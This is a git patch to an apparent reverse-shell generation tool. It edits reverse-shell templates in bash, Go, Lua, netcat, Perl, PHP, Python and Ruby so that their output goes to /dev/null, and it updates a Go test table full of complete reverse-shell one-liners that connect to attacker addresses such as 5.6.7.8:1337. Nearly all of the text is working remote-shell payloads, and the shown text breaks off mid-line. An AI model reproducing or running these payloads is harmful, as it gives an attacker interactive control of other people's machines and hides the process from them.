From 26d0754834ea9c57bdbc6d284e048d10c812113c Mon Sep 17 00:00:00 2001 From: Wang Yihang Date: Sat, 20 Mar 2021 18:01:33 +0800 Subject: [PATCH] [*] direct nohup output to /dev/null --- lib/runtime/template/rsh/bash.tpl | 2 +- lib/runtime/template/rsh/go.tpl | 2 +- lib/runtime/template/rsh/lua.tpl | 2 +- lib/runtime/template/rsh/nc.tpl | 2 +- lib/runtime/template/rsh/perl.tpl | 2 +- lib/runtime/template/rsh/php.tpl | 2 +- lib/runtime/template/rsh/python.tpl | 2 +- lib/runtime/template/rsh/python2.tpl | 2 +- lib/runtime/template/rsh/python3.tpl | 2 +- lib/runtime/template/rsh/ruby.tpl | 2 +- lib/util/raas/raas_test.go | 80 ++++++++++++++-------------- 11 files changed, 50 insertions(+), 50 deletions(-) diff --git a/lib/runtime/template/rsh/bash.tpl b/lib/runtime/template/rsh/bash.tpl index 8a30ae14..0b1321ac 100644 --- a/lib/runtime/template/rsh/bash.tpl +++ b/lib/runtime/template/rsh/bash.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1' & \ No newline at end of file +/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1' >/dev/null & \ No newline at end of file diff --git a/lib/runtime/template/rsh/go.tpl b/lib/runtime/template/rsh/go.tpl index 49248f63..7676fe06 100644 --- a/lib/runtime/template/rsh/go.tpl +++ b/lib/runtime/template/rsh/go.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"__HOST__:__PORT__\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/platypus.go && go run /tmp/platypus.go && rm /tmp/platypus.go" & \ No newline at end of file +/usr/bin/nohup /bin/bash -c "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"__HOST__:__PORT__\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/platypus.go && go run /tmp/platypus.go && rm /tmp/platypus.go" >/dev/null & \ No newline at end of file diff --git a/lib/runtime/template/rsh/lua.tpl b/lib/runtime/template/rsh/lua.tpl index 06035375..70d7572b 100644 --- a/lib/runtime/template/rsh/lua.tpl +++ b/lib/runtime/template/rsh/lua.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c 'lua -e "require('\''socket'\'');require('\''os'\'');t=socket.tcp();t:connect('\''__HOST__'\'','\''__PORT__'\'');os.execute('\''/bin/bash -i <&3 >&3'\'');"' & \ No newline at end of file +/usr/bin/nohup /bin/bash -c 'lua -e "require('\''socket'\'');require('\''os'\'');t=socket.tcp();t:connect('\''__HOST__'\'','\''__PORT__'\'');os.execute('\''/bin/bash -i <&3 >&3'\'');"' >/dev/null & \ No newline at end of file diff --git a/lib/runtime/template/rsh/nc.tpl b/lib/runtime/template/rsh/nc.tpl index a038395c..0e851c3f 100644 --- a/lib/runtime/template/rsh/nc.tpl +++ b/lib/runtime/template/rsh/nc.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c "mkfifo /tmp/.platypus;nc __HOST__ __PORT__ 0/dev/null & \ No newline at end of file diff --git a/lib/runtime/template/rsh/perl.tpl b/lib/runtime/template/rsh/perl.tpl index 3eb149c1..91346249 100644 --- a/lib/runtime/template/rsh/perl.tpl +++ b/lib/runtime/template/rsh/perl.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="__HOST__";$p=__PORT__;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' & \ No newline at end of file +/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="__HOST__";$p=__PORT__;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' >/dev/null & \ No newline at end of file diff --git a/lib/runtime/template/rsh/php.tpl b/lib/runtime/template/rsh/php.tpl index 41c33fc9..3947cf9f 100644 --- a/lib/runtime/template/rsh/php.tpl +++ b/lib/runtime/template/rsh/php.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("__HOST__",__PORT__);shell_exec("/bin/bash -i <&3 >&3");'\''' & \ No newline at end of file +/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("__HOST__",__PORT__);shell_exec("/bin/bash -i <&3 >&3");'\''' >/dev/null & \ No newline at end of file diff --git a/lib/runtime/template/rsh/python.tpl b/lib/runtime/template/rsh/python.tpl index 72cb9eed..7aebdfcb 100644 --- a/lib/runtime/template/rsh/python.tpl +++ b/lib/runtime/template/rsh/python.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' & \ No newline at end of file +/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null & \ No newline at end of file diff --git a/lib/runtime/template/rsh/python2.tpl b/lib/runtime/template/rsh/python2.tpl index fea5a706..76974ec9 100644 --- a/lib/runtime/template/rsh/python2.tpl +++ b/lib/runtime/template/rsh/python2.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c 'python2 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' & \ No newline at end of file +/usr/bin/nohup /bin/bash -c 'python2 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null & \ No newline at end of file diff --git a/lib/runtime/template/rsh/python3.tpl b/lib/runtime/template/rsh/python3.tpl index 4f0831ca..f93627eb 100644 --- a/lib/runtime/template/rsh/python3.tpl +++ b/lib/runtime/template/rsh/python3.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c 'python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' & \ No newline at end of file +/usr/bin/nohup /bin/bash -c 'python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null & \ No newline at end of file diff --git a/lib/runtime/template/rsh/ruby.tpl b/lib/runtime/template/rsh/ruby.tpl index b1d4c786..def1bf62 100644 --- a/lib/runtime/template/rsh/ruby.tpl +++ b/lib/runtime/template/rsh/ruby.tpl @@ -1 +1 @@ -/usr/bin/nohup /bin/bash -c "ruby -rsocket -e 'exec(\"/bin/bash\",\"-c\",\"/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1\");'" & \ No newline at end of file +/usr/bin/nohup /bin/bash -c "ruby -rsocket -e 'exec(\"/bin/bash\",\"-c\",\"/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1\");'" >/dev/null & \ No newline at end of file diff --git a/lib/util/raas/raas_test.go b/lib/util/raas/raas_test.go index 4ba53333..3d406179 100644 --- a/lib/util/raas/raas_test.go +++ b/lib/util/raas/raas_test.go @@ -8,48 +8,48 @@ func TestURI2Command(t *testing.T) { var tests = []struct { requestURI string httpHost string - origin string + origin string want string }{ - {"/", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' &`}, - {"/", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' &`}, - {"/", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/1.2.3.4/8080 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/8080 0>&1' &`}, - {"/bash", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' &`}, - {"/python", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' &`}, - {"/perl", "1.2.3.4:8080", `perl -e 'use Socket;$i="1.2.3.4";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, `/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="1.2.3.4";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' &`}, - {"//", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' &`}, - {"//", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' &`}, - {"//", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/1.2.3.4/8080 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/8080 0>&1' &`}, - {"/5.6.7.8", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' &`}, - {"/5.6.7.8", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' &`}, - {"/5.6.7.8", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/1.2.3.4/8080 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/8080 0>&1' &`}, - {"/5.6.7.8/", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' &`}, - {"/5.6.7.8/", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' &`}, - {"/5.6.7.8/", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/1.2.3.4/8080 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/8080 0>&1' &`}, - {"/5.6.7.8/1337", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337/", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337/", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337/", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337//", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337//", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337//", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337/bash", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337/python", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' &`}, - {"/5.6.7.8/1337/php", "1.2.3.4:8080", `php -r '$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");'`, `/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/bash -i <&3 >&3");'\''' &`}, - {"/5.6.7.8/1337//bash", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337//python", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' &`}, - {"/5.6.7.8/1337//php", "1.2.3.4:8080", `php -r '$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");'`, `/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/bash -i <&3 >&3");'\''' &`}, - {"/5.6.7.8/1337/bash/", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337/python/", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' &`}, - {"/5.6.7.8/1337/php/", "1.2.3.4:8080", `php -r '$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");'`, `/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/bash -i <&3 >&3");'\''' &`}, - {"/5.6.7.8/1337/bash//", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' &`}, - {"/5.6.7.8/1337/python//", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' &`}, - {"/5.6.7.8/1337/php//", "1.2.3.4:8080", `php -r '$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");'`, `/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/bash -i <&3 >&3");'\''' &`}, - {"/5.6.7.8/1337/bash//perl", "1.2.3.4", `perl -e 'use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, `/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' &`}, - {"/5.6.7.8/1337/python//perl", "1.2.3.4:80", `perl -e 'use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, `/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' &`}, - {"/5.6.7.8/1337/php//perl", "1.2.3.4:8080", `perl -e 'use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, `/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' &`}, + {"/", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' >/dev/null &`}, + {"/", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' >/dev/null &`}, + {"/", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/1.2.3.4/8080 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/8080 0>&1' >/dev/null &`}, + {"/bash", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' >/dev/null &`}, + {"/python", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null &`}, + {"/perl", "1.2.3.4:8080", `perl -e 'use Socket;$i="1.2.3.4";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, `/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="1.2.3.4";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' >/dev/null &`}, + {"//", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' >/dev/null &`}, + {"//", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' >/dev/null &`}, + {"//", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/1.2.3.4/8080 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/8080 0>&1' >/dev/null &`}, + {"/5.6.7.8", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' >/dev/null &`}, + {"/5.6.7.8", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' >/dev/null &`}, + {"/5.6.7.8", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/1.2.3.4/8080 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/8080 0>&1' >/dev/null &`}, + {"/5.6.7.8/", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' >/dev/null &`}, + {"/5.6.7.8/", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/1.2.3.4/80 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/80 0>&1' >/dev/null &`}, + {"/5.6.7.8/", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/1.2.3.4/8080 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/1.2.3.4/8080 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337/", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337/", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337/", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337//", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337//", "1.2.3.4:80", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337//", "1.2.3.4:8080", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337/bash", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337/python", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null &`}, + {"/5.6.7.8/1337/php", "1.2.3.4:8080", `php -r '$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");'`, `/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/bash -i <&3 >&3");'\''' >/dev/null &`}, + {"/5.6.7.8/1337//bash", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337//python", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null &`}, + {"/5.6.7.8/1337//php", "1.2.3.4:8080", `php -r '$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/sh -i 